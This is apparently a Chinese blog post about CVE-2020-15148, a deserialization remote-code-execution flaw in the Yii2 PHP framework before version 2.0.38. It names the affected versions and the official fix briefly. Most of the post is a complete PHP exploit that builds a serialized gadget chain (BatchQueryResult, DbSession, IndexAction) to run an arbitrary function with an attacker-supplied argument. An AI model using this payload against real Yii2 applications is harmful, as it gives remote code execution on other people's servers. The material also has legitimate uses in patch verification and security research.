1. 程式人生 > 實用技巧 >CVE-2020-15148 Yii框架反序列化RCE利用鏈 exp

CVE-2020-15148 Yii框架反序列化RCE利用鏈 exp

簡介

如果在使用yii框架,並且在使用者可以控制的輸入處呼叫了unserialize()並允許特殊字元的情況下,會受到反序列化遠端命令命令執行漏洞攻擊。

該漏洞只是php 反序列化的執行鏈,必須要配合unserialize函式才可以達到任意程式碼執行的危害。

該反序列化執行鏈在今年8月初已經公開,建議使用yii框架的同學排查

影響範圍

Yii2 <2.0.38

修復方案

目前官方已經禁止BatchQueryResult類被反序列化

exp


<?php
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
$exp = new \yii\db\BatchQueryResult($func, $param);
print(serialize($exp));


參考

  1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
  2. https://xz.aliyun.com/t/8082#toc-8
  3. https://github.com/AFKL-CUIT/phpggc/